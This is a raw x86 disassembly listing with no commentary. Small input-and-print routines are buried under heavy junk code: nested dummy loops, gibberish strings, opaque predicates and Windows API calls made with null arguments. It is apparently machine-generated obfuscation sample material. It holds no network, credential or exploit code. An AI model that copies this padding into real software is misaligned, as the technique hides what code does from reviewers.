mov ecx, 0xac7538
call fcn.004178b5
cmp dword [ebp - 0x1594], 0x2248
jge 0x4e48ac
mov edx, dword [ebp - 0x22c0]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4e3317
jmp 0x4e32f1
cmp dword [ebp - 0x159c], 0x7111
jge 0x4e48d2
mov edx, dword [ebp - 0x25d8]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x174c], 0x527d
mov dword [ebp - 0x26e8], str.nkdiqcn_bgik_hhxei_mluw_ksxnbk_ofu_vovbugu_xqp_duw_yggoj_xwnyegq_ypeg
cmp dword [ebp - 0x174c], 0x548d
jle 0x4e4b0b
and dword [ebp - 0x9e8], 0
jmp 0x4e490c
mov eax, dword [ebp - 0x9e8]
inc eax
mov dword [ebp - 0x9e8], eax
cmp dword [ebp - 0x9e8], 0x653a
jge 0x4e4b0b
and dword [ebp - 0x9e0], 0
jmp 0x4e4932
mov eax, dword [ebp - 0x9e0]
inc eax
mov dword [ebp - 0x9e0], eax
cmp dword [ebp - 0x9e0], 0x7d6e
jge 0x4e4b06
mov dword [ebp - 0x15a4], 0x4d1e
mov dword [ebp - 0x22cc], str.fxboc_nmuh_sbsjqf_hiaks_agrvtgfh_edntb_hew_pspipwobo_nbcivbb
cmp dword [ebp - 0x15a4], 0x50ee
jle 0x4e4a64
and dword [ebp - 0x9b0], 0
jmp 0x4e497c
mov eax, dword [ebp - 0x9b0]
inc eax
mov dword [ebp - 0x9b0], eax
cmp dword [ebp - 0x9b0], 0x4d76
jge 0x4e4a64
and dword [ebp - 0x9b8], 0
jmp 0x4e49a2
mov eax, dword [ebp - 0x9b8]
inc eax
mov dword [ebp - 0x9b8], eax
cmp dword [ebp - 0x9b8], 0x233a
jge 0x4e4a5f
and dword [ebp - 0x9c0], 0
jmp 0x4e49c8
mov eax, dword [ebp - 0x9c0]
inc eax
mov dword [ebp - 0x9c0], eax
cmp dword [ebp - 0x9c0], 0x67a8
jge 0x4e4a5a
and dword [ebp - 0x9c8], 0
jmp 0x4e49ee
mov eax, dword [ebp - 0x9c8]
inc eax
mov dword [ebp - 0x9c8], eax
cmp dword [ebp - 0x9c8], 0x77da
jge 0x4e4a55
mov eax, dword [ebp - 0x9b0]
and eax, dword [ebp - 0x9b8]
mov ecx, dword [ebp - 0x9c0]
sub ecx, dword [ebp - 0x9c8]
xor eax, ecx
cdq
mov dword [ebp - 0x2424], eax
mov dword [ebp - 0x2420], edx
push dword [ebp - 0x2420]
push dword [ebp - 0x2424]
lea ecx, [ebp - 0x3450]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3450]
call fcn.00401711
jmp 0x4e49e1
jmp 0x4e49bb
jmp 0x4e4995
jmp 0x4e496f
and dword [ebp - 0x9d0], 0
jmp 0x4e4a7a
mov eax, dword [ebp - 0x9d0]
inc eax
mov dword [ebp - 0x9d0], eax
cmp dword [ebp - 0x9d0], 0x1b7
jge 0x4e4ae9
and dword [ebp - 0x9d8], 0
jmp 0x4e4a9c
mov eax, dword [ebp - 0x9d8]
inc eax
mov dword [ebp - 0x9d8], eax
cmp dword [ebp - 0x9d8], 0x481a
jge 0x4e4ae7
mov ecx, dword [ebp - 0x9d0]
add ecx, dword [ebp - 0x9d8]
mov eax, dword [ebp - 0x9e0]
shl eax, cl
and eax, dword [ebp - 0x9e8]
cdq
mov dword [ebp - 0x2430], eax
mov dword [ebp - 0x242c], edx
push dword [ebp - 0x242c]
push dword [ebp - 0x2430]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e4a8f
jmp 0x4e4a6d
cmp dword [ebp - 0x15a4], 0x4a47
jge 0x4e4b01
push dword [ebp - 0x22cc]
call fcn.004f1488
pop ecx
jmp 0x4e4925
jmp 0x4e48ff
and dword [ebp - 0xb10], 0
jmp 0x4e4b21
mov eax, dword [ebp - 0xb10]
inc eax
mov dword [ebp - 0xb10], eax
cmp dword [ebp - 0xb10], 0x4ae6
jge 0x4e7ccb
mov dword [ebp - 0x1744], 0x1ba8
mov dword [ebp - 0x2458], str.hvsnekshk_tiafhtcr_ilfpegsxy_webm_vbmidm_dlyrh_taayarxci_bxn_wspoqdauc_xnxehdh_oouceueff_fcba_qib_nvxdfcivx
mov dword [ebp - 0x15cc], 0x1fb3
mov dword [ebp - 0x25e0], 0x13b6
cmp dword [ebp - 0x25e0], 0x77f
jge 0x4e4bf4
lea eax, [ebp - 0x121c]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x121c]
mov dword [ebp - 0x22d8], eax
mov eax, dword [ebp - 0x121c]
dec eax
mov dword [ebp - 0x121c], eax
cmp dword [ebp - 0x22d8], 0
je 0x4e4bf4
lea eax, [ebp - 0x25e8]
push eax
lea eax, [ebp - 0x1224]
push eax
push str._ld__ld
call fcn.004f117c
add esp, 0xc
mov eax, dword [ebp - 0x1224]
shl eax, 1
cmp eax, dword [ebp - 0x25e8]
jle 0x4e4bd6
push str._1__1
call fcn.004f1b87
pop ecx
jmp 0x4e4bf2
mov eax, dword [ebp - 0x1224]
shl eax, 1
push eax
push dword [ebp - 0x1224]
push str._ld__ld_n
call fcn.004f1488
add esp, 0xc
jmp 0x4e4b7c
mov dword [ebp - 0x2608], str.dht_mbdcy_tdqv_jmwvfy_cfa_aaepnqa_xabrp
cmp dword [ebp - 0x15cc], 0x20fc
jle 0x4e4ca7
and dword [ebp - 0x9f0], 0
jmp 0x4e4c24
mov eax, dword [ebp - 0x9f0]
inc eax
mov dword [ebp - 0x9f0], eax
cmp dword [ebp - 0x9f0], 0x7bb1
jge 0x4e4ca7
and dword [ebp - 0x9f8], 0
jmp 0x4e4c46
mov eax, dword [ebp - 0x9f8]
inc eax
mov dword [ebp - 0x9f8], eax
cmp dword [ebp - 0x9f8], 0xac4
jge 0x4e4ca2
mov eax, dword [ebp - 0x9f0]
cdq
idiv dword [ebp - 0x9f8]
mov eax, edx
cdq
mov dword [ebp - 0x243c], eax
mov dword [ebp - 0x2438], edx
push dword [ebp - 0x2438]
push dword [ebp - 0x243c]
lea ecx, [ebp - 0x3480]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3480]
call fcn.00401711
jmp 0x4e4c39
jmp 0x4e4c17
cmp dword [ebp - 0x1744], 0x1e75
jle 0x4e5115
and dword [ebp - 0xa10], 0
jmp 0x4e4ccd
mov eax, dword [ebp - 0xa10]
inc eax
mov dword [ebp - 0xa10], eax
cmp dword [ebp - 0xa10], 0x4aae
jge 0x4e5115
and dword [ebp - 0xa18], 0
jmp 0x4e4cf3
mov eax, dword [ebp - 0xa18]
inc eax
mov dword [ebp - 0xa18], eax
cmp dword [ebp - 0xa18], 0x1c2e
jge 0x4e5110
and dword [ebp - 0xa20], 0
jmp 0x4e4d19
mov eax, dword [ebp - 0xa20]
inc eax
mov dword [ebp - 0xa20], eax
cmp dword [ebp - 0xa20], 0x185a
jge 0x4e510b
mov dword [ebp - 0x15ac], 0x7c14
mov dword [ebp - 0x22e4], str.hwtb_tjtwbbev_lxfnvw_ckwyqrb_itnjlgcp_ldcp_cvdjdw_nxelxy_mebhej_hemdulxxb
cmp dword [ebp - 0x15ac], 0x7c79
jle 0x4e4dc2
and dword [ebp - 0xa00], 0
jmp 0x4e4d5f
mov eax, dword [ebp - 0xa00]
inc eax
mov dword [ebp - 0xa00], eax
cmp dword [ebp - 0xa00], 0x55da
jge 0x4e4dc2
and dword [ebp - 0xa08], 0
jmp 0x4e4d81
mov eax, dword [ebp - 0xa08]
inc eax
mov dword [ebp - 0xa08], eax
cmp dword [ebp - 0xa08], 0x116a
jge 0x4e4dc0
mov eax, dword [ebp - 0xa00]
mov ecx, dword [ebp - 0xa08]
shl eax, cl
cdq
mov dword [ebp - 0x2448], eax
mov dword [ebp - 0x2444], edx
push dword [ebp - 0x2444]
push dword [ebp - 0x2448]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e4d74
jmp 0x4e4d52
mov eax, dword [ebp - 0xa10]
imul eax, dword [ebp - 0xa18]
mov ecx, dword [ebp - 0xa20]
sar eax, cl
cdq
mov dword [ebp - 0x2460], eax
mov dword [ebp - 0x245c], edx
cmp dword [ebp - 0x15ac], 0x7922
jge 0x4e4e00
mov edx, dword [ebp - 0x22e4]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x15c4], 0x6089
mov dword [ebp - 0x2308], str.jfkmrpmb_ufxhlnrk_ypdqw_uidjpqqbf_lef_oyascbr_ndqishj_rmrwy_iutx_sjtl
cmp dword [ebp - 0x15c4], 0x621b
jle 0x4e4f4a
mov dword [ebp - 0x25f0], 0x265c
cmp dword [ebp - 0x25f0], 0xb4e
jge 0x4e4e96
lea eax, [ebp - 0x2c8]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
push dword [ebp - 0x2c8]
call fcn.004cc82f
pop ecx
movzx eax, al
test eax, eax
jne 0x4e4e7a
mov eax, dword [ebp - 0x2c8]
inc eax
mov dword [ebp - 0x2c8], eax
jmp 0x4e4e58
push fcn.0041c2ab
push dword [ebp - 0x2c8]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
and dword [ebp - 0xa28], 0
jmp 0x4e4eac
mov eax, dword [ebp - 0xa28]
inc eax
mov dword [ebp - 0xa28], eax
cmp dword [ebp - 0xa28], 0x52d
jge 0x4e4f40
and dword [ebp - 0xa30], 0
jmp 0x4e4ed2
mov eax, dword [ebp - 0xa30]
inc eax
mov dword [ebp - 0xa30], eax
cmp dword [ebp - 0xa30], 0x5d13
jge 0x4e4f3b
and dword [ebp - 0xa38], 0
jmp 0x4e4ef4
mov eax, dword [ebp - 0xa38]
inc eax
mov dword [ebp - 0xa38], eax
cmp dword [ebp - 0xa38], 0x19bd
jge 0x4e4f39
mov eax, dword [ebp - 0xa28]
imul eax, dword [ebp - 0xa30]
imul eax, dword [ebp - 0xa38]
cdq
mov dword [ebp - 0x2454], eax
mov dword [ebp - 0x2450], edx
push dword [ebp - 0x2450]
push dword [ebp - 0x2454]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e4ee7
jmp 0x4e4ec5
jmp 0x4e4e9f
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x22f0], 0x2022
cmp dword [ebp - 0x22f0], 0x750
jge 0x4e50b8
lea eax, [ebp - 0x25f8]
push eax
lea eax, [ebp - 0x22fc]
push eax
mov ecx, 0xac75e0
call fcn.00417279
mov ecx, eax
call fcn.00417279
push 3
lea ecx, [ebp - 0x1a74]
call fcn.004179d7
push dword [ebp - 0x25f8]
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
mov dword [eax], 1
mov eax, dword [ebp - 0x22fc]
cdq
push 6
pop ecx
idiv ecx
mov dword [ebp - 0xa40], edx
jmp 0x4e4fc8
mov eax, dword [ebp - 0xa40]
dec eax
mov dword [ebp - 0xa40], eax
cmp dword [ebp - 0xa40], 0
jle 0x4e5036
mov eax, dword [ebp - 0xa40]
and eax, 0x80000001
jns 0x4e4fe3
dec eax
or eax, 0xfffffffe
inc eax
cmp eax, 1
jne 0x4e500f
push 1
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
mov esi, eax
push 0
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
mov edx, esi
mov ecx, eax
call fcn.0041c233
jmp 0x4e5034
push 2
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
mov esi, eax
push 1
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
mov edx, esi
mov ecx, eax
call fcn.0041c233
jmp 0x4e4fbb
push 0
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4e5051
and dword [ebp - 0x15bc], 0
jmp 0x4e5085
push 1
lea ecx, [ebp - 0x1a74]
call fcn.00417bb8
cmp dword [eax], 1
jne 0x4e506f
mov dword [ebp - 0x15b4], 1
jmp 0x4e5079
mov dword [ebp - 0x15b4], 2
mov eax, dword [ebp - 0x15b4]
mov dword [ebp - 0x15bc], eax
mov eax, dword [ebp - 0x15bc]
mov dword [ebp - 0x2600], eax
push fcn.0041c2ab
push dword [ebp - 0x2600]
mov ecx, 0xac7538
call fcn.00417681
mov ecx, eax
call fcn.00417675
lea ecx, [ebp - 0x1a74]
call fcn.00417aef
push dword [ebp - 0x245c]
push dword [ebp - 0x2460]
lea ecx, [ebp - 0x34b0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x34b0]
call fcn.00401711
cmp dword [ebp - 0x15c4], 0x5f9a
jge 0x4e5106
mov edx, dword [ebp - 0x2308]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4e4d0c
jmp 0x4e4ce6
jmp 0x4e4cc0
cmp dword [ebp - 0x15cc], 0x1ef7
jge 0x4e512d
push dword [ebp - 0x2608]
call fcn.004f1488
pop ecx
and dword [ebp - 0xb18], 0
jmp 0x4e5143
mov eax, dword [ebp - 0xb18]
inc eax
mov dword [ebp - 0xb18], eax
cmp dword [ebp - 0xb18], 0x143f
jge 0x4e7cae
mov dword [ebp - 0x164c], 0x402
mov dword [ebp - 0x15d4], 0x5550
mov dword [ebp - 0x2314], str.ryt_mocsdpbgr_bux_tboal_fmhmmdch_hce_vdglfhna_pfucgmwn
cmp dword [ebp - 0x15d4], 0x55c4
jle 0x4e5217
and dword [ebp - 0xa48], 0
jmp 0x4e5197
mov eax, dword [ebp - 0xa48]
inc eax
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 0x19c4
jge 0x4e5217
and dword [ebp - 0xa50], 0
jmp 0x4e51b9
mov eax, dword [ebp - 0xa50]
inc eax
mov dword [ebp - 0xa50], eax
cmp dword [ebp - 0xa50], 0x6b23
jge 0x4e5212
mov eax, dword [ebp - 0xa48]
xor eax, dword [ebp - 0xa50]
cdq
mov dword [ebp - 0x246c], eax
mov dword [ebp - 0x2468], edx
push dword [ebp - 0x2468]
push dword [ebp - 0x246c]
lea ecx, [ebp - 0x34e0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x34e0]
call fcn.00401711
jmp 0x4e51ac
jmp 0x4e518a
mov dword [ebp - 0x23c8], str.rphnbc_oegi_sgka_itsiu_cmtr_wuccjoqc_udua_vkbowhh_eyti_addkbcn_jmtvetwqe_hcwo_sble
cmp dword [ebp - 0x15d4], 0x5342
jge 0x4e5239
push dword [ebp - 0x2314]
call fcn.004f1488
pop ecx
cmp dword [ebp - 0x164c], 0x597
jle 0x4e5c9d
mov dword [ebp - 0x1614], 0x4da3
mov dword [ebp - 0x2638], str.apjndjka_haagle_cldj_tnuqssic
mov dword [ebp - 0x2610], 0x1d72
cmp dword [ebp - 0x2610], 0xabf
jge 0x4e5498
xor eax, eax
inc eax
je 0x4e5498
lea eax, [ebp - 0xa58]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0xa58], 0
jne 0x4e52a1
jmp 0x4e5498
mov byte [ebp - 0x77], 0
or dword [ebp - 0x2320], 0xffffffff
lea eax, [ebp - 0x2320]
push eax
mov eax, dword [ebp - 0xa58]
lea edx, [ebp + eax*4 - 0x3044]
lea ecx, [ebp - 0x3044]
call fcn.0041c902
pop ecx
and dword [ebp - 0x40c], 0
jmp 0x4e52e2
mov eax, dword [ebp - 0x40c]
inc eax
mov dword [ebp - 0x40c], eax
mov eax, dword [ebp - 0x40c]
cmp eax, dword [ebp - 0xa58]
jge 0x4e5340
lea eax, [ebp - 0x414]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
mov eax, dword [ebp - 0x414]
cmp dword [ebp + eax*4 - 0x3048], 0xffffffff
je 0x4e5317
mov byte [ebp - 0x77], 1
mov eax, dword [ebp - 0x414]
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + eax*4 - 0x3048], ecx
mov eax, dword [ebp - 0x414]
dec eax
mov ecx, dword [ebp - 0x40c]
mov dword [ebp + ecx*4 - 0x3f38], eax
jmp 0x4e52d5
movzx eax, byte [ebp - 0x77]
test eax, eax
je 0x4e5358
push str.No_solution_n
call fcn.004f1488
pop ecx
jmp 0x4e5277
and dword [ebp - 0x41c], 0
and dword [ebp - 0xf0], 0
jmp 0x4e5375
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0xa58]
jge 0x4e5437
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x3044]
cmp eax, dword [ebp - 0xf0]
je 0x4e5432
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x3044]
mov eax, dword [ebp + eax*4 - 0x3f3c]
mov dword [ebp - 0x414], eax
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 0xf0]
mov ecx, dword [ebp + ecx*4 - 0x3044]
mov dword [ebp + eax*4 - 0x48b8], ecx
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x3044]
lea edx, [ebp + eax*4 - 0x3f3c]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp + eax*4 - 0x3044]
lea ecx, [ebp + eax*4 - 0x3f38]
call fcn.0041c233
mov eax, dword [ebp - 0x414]
lea edx, [ebp + eax*4 - 0x3044]
mov eax, dword [ebp - 0xf0]
lea ecx, [ebp + eax*4 - 0x3044]
call fcn.0041c233
jmp 0x4e5387
jmp 0x4e5368
push dword [ebp - 0x41c]
push 0xab5680
call fcn.004f1488
pop ecx
pop ecx
and dword [ebp - 0xa60], 0
jmp 0x4e545f
mov eax, dword [ebp - 0xa60]
inc eax
mov dword [ebp - 0xa60], eax
mov eax, dword [ebp - 0xa60]
cmp eax, dword [ebp - 0x41c]
jge 0x4e5488
mov eax, dword [ebp - 0xa60]
push dword [ebp + eax*4 - 0x48b8]
push 0xab76c4
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e5452
push 0xab57b8
call fcn.004f1488
pop ecx
jmp 0x4e5277
cmp dword [ebp - 0x1614], 0x4e1a
jle 0x4e551b
and dword [ebp - 0xa68], 0
jmp 0x4e54ba
mov eax, dword [ebp - 0xa68]
inc eax
mov dword [ebp - 0xa68], eax
cmp dword [ebp - 0xa68], 0x2a5c
jge 0x4e551b
and dword [ebp - 0xa70], 0
jmp 0x4e54dc
mov eax, dword [ebp - 0xa70]
inc eax
mov dword [ebp - 0xa70], eax
cmp dword [ebp - 0xa70], 0x5d94
jge 0x4e5519
mov eax, dword [ebp - 0xa68]
sub eax, dword [ebp - 0xa70]
cdq
mov dword [ebp - 0x2478], eax
mov dword [ebp - 0x2474], edx
push dword [ebp - 0x2474]
push dword [ebp - 0x2478]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e54cf
jmp 0x4e54ad
and dword [ebp - 0xae0], 0
jmp 0x4e5531
mov eax, dword [ebp - 0xae0]
inc eax
mov dword [ebp - 0xae0], eax
cmp dword [ebp - 0xae0], 0x673a
jge 0x4e5c81
mov dword [ebp - 0x160c], 0x7c38
mov dword [ebp - 0x2350], str.vcw_oquk_pktt_nigynoxlo_ambpxcm_wkyuj_lcbsk_eqn_lsv
cmp dword [ebp - 0x160c], 0x7dda
jle 0x4e55fb
and dword [ebp - 0xa78], 0
jmp 0x4e557b
mov eax, dword [ebp - 0xa78]
inc eax
mov dword [ebp - 0xa78], eax
cmp dword [ebp - 0xa78], 0xe73
jge 0x4e55fb
and dword [ebp - 0xa80], 0
jmp 0x4e559d
mov eax, dword [ebp - 0xa80]
inc eax
mov dword [ebp - 0xa80], eax
cmp dword [ebp - 0xa80], 0x2b46
jge 0x4e55f6
mov eax, dword [ebp - 0xa78]
sub eax, dword [ebp - 0xa80]
cdq
mov dword [ebp - 0x2484], eax
mov dword [ebp - 0x2480], edx
push dword [ebp - 0x2480]
push dword [ebp - 0x2484]
lea ecx, [ebp - 0x3510]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3510]
call fcn.00401711
jmp 0x4e5590
jmp 0x4e556e
mov dword [ebp - 0x2618], 0x13f2
cmp dword [ebp - 0x2618], 0xab4
jge 0x4e56ab
lea eax, [ebp - 0x424]
push eax
push 0xab5684
call fcn.004f117c
pop ecx
pop ecx
cmp dword [ebp - 0x424], 0xa
jl 0x4e563d
mov dword [ebp - 0x15dc], 1
jmp 0x4e5644
and dword [ebp - 0x15dc], 0
mov eax, dword [ebp - 0x15dc]
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x424], 0xa
jl 0x4e568a
mov eax, dword [ebp - 0x424]
cdq
push 0xa
pop ecx
idiv ecx
push 9
pop eax
sub eax, edx
add eax, dword [ebp - 0x42c]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 0x424]
cdq
push 0xa
pop ecx
idiv ecx
mov dword [ebp - 0x424], eax
jmp 0x4e5650
mov eax, dword [ebp - 0x42c]
add eax, 9
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x42c]
push str._ld_n
call fcn.004f1488
pop ecx
pop ecx
and dword [ebp - 0xae8], 0
jmp 0x4e56c1
mov eax, dword [ebp - 0xae8]
inc eax
mov dword [ebp - 0xae8], eax
cmp dword [ebp - 0xae8], 0x72d3
jge 0x4e5c64
mov dword [ebp - 0x15fc], 0x255f
mov dword [ebp - 0x2344], str.sfip_ayqsuew_rtrcofg_wxmbccfjq_sjv_gnhxigdi_tymsoqh
mov dword [ebp - 0x15ec], 0x7444
mov dword [ebp - 0x2338], str.cqt_argcav_tex_crgxlaif_eqwlfhn
cmp dword [ebp - 0x15ec], 0x76f8
jle 0x4e5967
and dword [ebp - 0xa98], 0
jmp 0x4e571f
mov eax, dword [ebp - 0xa98]
inc eax
mov dword [ebp - 0xa98], eax
cmp dword [ebp - 0xa98], 0x8e2
jge 0x4e5967
mov dword [ebp - 0x232c], 0x1d25
cmp dword [ebp - 0x232c], 0x114d
jge 0x4e57ee
lea eax, [ebp - 0xa88]
push eax
lea eax, [ebp - 0x210]
push eax
push str._d._d
call fcn.004f117c
add esp, 0xc
cmp eax, 0xffffffff
je 0x4e57ee
cmp dword [ebp - 0x210], 0
jne 0x4e577f
cmp dword [ebp - 0xa88], 0
je 0x4e57ee
imul eax, dword [ebp - 0x210], 0x74
mov dword [ebp - 0x210], eax
mov eax, dword [ebp - 0x210]
add eax, dword [ebp - 0xa88]
mov dword [ebp - 0x210], eax
push 0x27e0
push 0xffffffffffffffff
push 0x299e178
call fcn.004caaff
add esp, 0xc
push 0
push dword [ebp - 0x210]
call fcn.004cc8c2
pop ecx
pop ecx
push edx
push eax
push dword [ebp - 0xa88]
mov eax, dword [ebp - 0x210]
sub eax, dword [ebp - 0xa88]
cdq
push 0x74
pop ecx
idiv ecx
push eax
push str._3d._02d_17lld_n
call fcn.004f1488
add esp, 0x14
jmp 0x4e5749
and dword [ebp - 0xaa0], 0
jmp 0x4e5804
mov eax, dword [ebp - 0xaa0]
inc eax
mov dword [ebp - 0xaa0], eax
cmp dword [ebp - 0xaa0], 0x6765
jge 0x4e5962
and dword [ebp - 0xaa8], 0
jmp 0x4e582a
mov eax, dword [ebp - 0xaa8]
inc eax
mov dword [ebp - 0xaa8], eax
cmp dword [ebp - 0xaa8], 0x4b84
jge 0x4e595d
mov dword [ebp - 0x2620], 0x1fa7
cmp dword [ebp - 0x2620], 0xd77
jge 0x4e58db
lea eax, [ebp - 0x15e4]
push eax
push 0xab5680
call fcn.004f117c
pop ecx
pop ecx
and dword [ebp - 0x434], 0
mov dword [ebp - 0xa90], 1
jmp 0x4e5887
mov eax, dword [ebp - 0xa90]
inc eax
mov dword [ebp - 0xa90], eax
mov eax, dword [ebp - 0xa90]
cmp eax, dword [ebp - 0x15e4]
jge 0x4e58d0
mov eax, dword [ebp - 0x434]
add eax, dword [ebp - 0xa90]
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cdq
idiv dword [ebp - 0x15e4]
mov dword [ebp - 0x434], edx
mov eax, dword [ebp - 0x434]
inc eax
push eax
push 0xab64e4
call fcn.004f1488
pop ecx
pop ecx
jmp 0x4e587a
push 0xab57b8
call fcn.004f1488
pop ecx
and dword [ebp - 0xab0], 0
jmp 0x4e58f1
mov eax, dword [ebp - 0xab0]
inc eax
mov dword [ebp - 0xab0], eax
cmp dword [ebp - 0xab0], 0x4022
jge 0x4e5958
mov eax, dword [ebp - 0xa98]
sub eax, dword [ebp - 0xaa0]
mov ecx, dword [ebp - 0xaa8]
xor ecx, dword [ebp - 0xab0]
or eax, ecx
cdq
mov dword [ebp - 0x2490], eax
mov dword [ebp - 0x248c], edx
push dword [ebp - 0x248c]
push dword [ebp - 0x2490]
lea ecx, [ebp - 0x3540]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3540]
call fcn.00401711
jmp 0x4e58e4
jmp 0x4e581d
jmp 0x4e57f7
jmp 0x4e5712
cmp dword [ebp - 0x15fc], 0x2875
jle 0x4e5a4d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
and dword [ebp - 0xab8], 0
jmp 0x4e5999
mov eax, dword [ebp - 0xab8]
inc eax
mov dword [ebp - 0xab8], eax
cmp dword [ebp - 0xab8], 0x54c7
jge 0x4e5a4d
and dword [ebp - 0xac0], 0
jmp 0x4e59bf
mov eax, dword [ebp - 0xac0]
inc eax
mov dword [ebp - 0xac0], eax
cmp dword [ebp - 0xac0], 0x37da
jge 0x4e5a48
and dword [ebp - 0xac8], 0
jmp 0x4e59e1
mov eax, dword [ebp - 0xac8]
inc eax
mov dword [ebp - 0xac8], eax
cmp dword [ebp - 0xac8], 0x70e
jge 0x4e5a43
mov eax, dword [ebp - 0xab8]
cdq
idiv dword [ebp - 0xac0]
xor edx, dword [ebp - 0xac8]
mov eax, edx
cdq
mov dword [ebp - 0x249c], eax
mov dword [ebp - 0x2498], edx
push dword [ebp - 0x2498]
push dword [ebp - 0x249c]
lea ecx, [ebp - 0x3570]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x3570]
call fcn.00401711
jmp 0x4e59d4
jmp 0x4e59b2
jmp 0x4e598c
cmp dword [ebp - 0x15ec], 0x721f
jge 0x4e5a65
push dword [ebp - 0x2338]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x15f4], 0x2e7f
mov dword [ebp - 0x2628], str.nukfhbfil_dkm_yrmglore_poyripvl_ueyu_qkrk_ghk_budnhsoaj_xawh_hnmyqex_dtfpgrle_fsyw_dqx
cmp dword [ebp - 0x15f4], 0x2f04
jle 0x4e5afe
and dword [ebp - 0xad0], 0
jmp 0x4e5a9b
mov eax, dword [ebp - 0xad0]
inc eax
mov dword [ebp - 0xad0], eax
cmp dword [ebp - 0xad0], 0x18e7
jge 0x4e5afe
and dword [ebp - 0xad8], 0
jmp 0x4e5abd
mov eax, dword [ebp - 0xad8]
inc eax
mov dword [ebp - 0xad8], eax
cmp dword [ebp - 0xad8], 0x18de
jge 0x4e5afc
mov eax, dword [ebp - 0xad0]
mov ecx, dword [ebp - 0xad8]
sar eax, cl
cdq
mov dword [ebp - 0x24a8], eax
mov dword [ebp - 0x24a4], edx
push dword [ebp - 0x24a4]
push dword [ebp - 0x24a8]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4e5ab0
jmp 0x4e5a8e
mov eax, dword [ebp - 0xae0]
add eax, dword [ebp - 0xae8]
cdq
mov dword [ebp - 0x24c0], eax
mov dword [ebp - 0x24bc], edx
cmp dword [ebp - 0x15f4], 0x2d0e
jge 0x4e5b33
mov edx, dword [ebp - 0x2628]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x15fc], 0x219a
jge 0x4e5c2d
mov dword [ebp - 0x1604], 0x3d18
mov dword [ebp - 0x2630], str.xuxiy_mvcvqj_bejs_jdneel_bwcypdmax
cmp dword [ebp - 0x1604], 0x3efb
jle 0x4e5c09
and dword [ebp - 0xaf0], 0
jmp 0x4e5b7d
mov eax, dword [ebp - 0xaf0]
inc eax
mov dword [ebp - 0xaf0], eax
cmp dword [ebp - 0xaf0], 0x1412
jge 0x4e5bff
and dword [ebp - 0xaf8], 0
jmp 0x4e5b9f
mov eax, dword [ebp - 0xaf8]
inc eax
mov dword [ebp - 0xaf8], eax
cmp dword [ebp - 0xaf8], 0x5bfe
jge 0x4e5bfa
mov eax, dword [ebp - 0xaf0]
mov ecx, dword [ebp - 0xaf8]
sar eax, cl
cdq
mov dword [ebp - 0x24b4], eax
mov dword [ebp - 0x24b0], edx
push dword [ebp - 0x24b0]
push dword [ebp - 0x24b4]
lea ecx, [ebp - 0x35a0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x35a0]
call fcn.00401711
jmp 0x4e5b92
jmp 0x4e5b70
push 0
push 0
call dword [sym.imp.USER32.dll_MapDialogRect]
push dword [ebp - 0x2344]
call fcn.004f1488
pop ecx
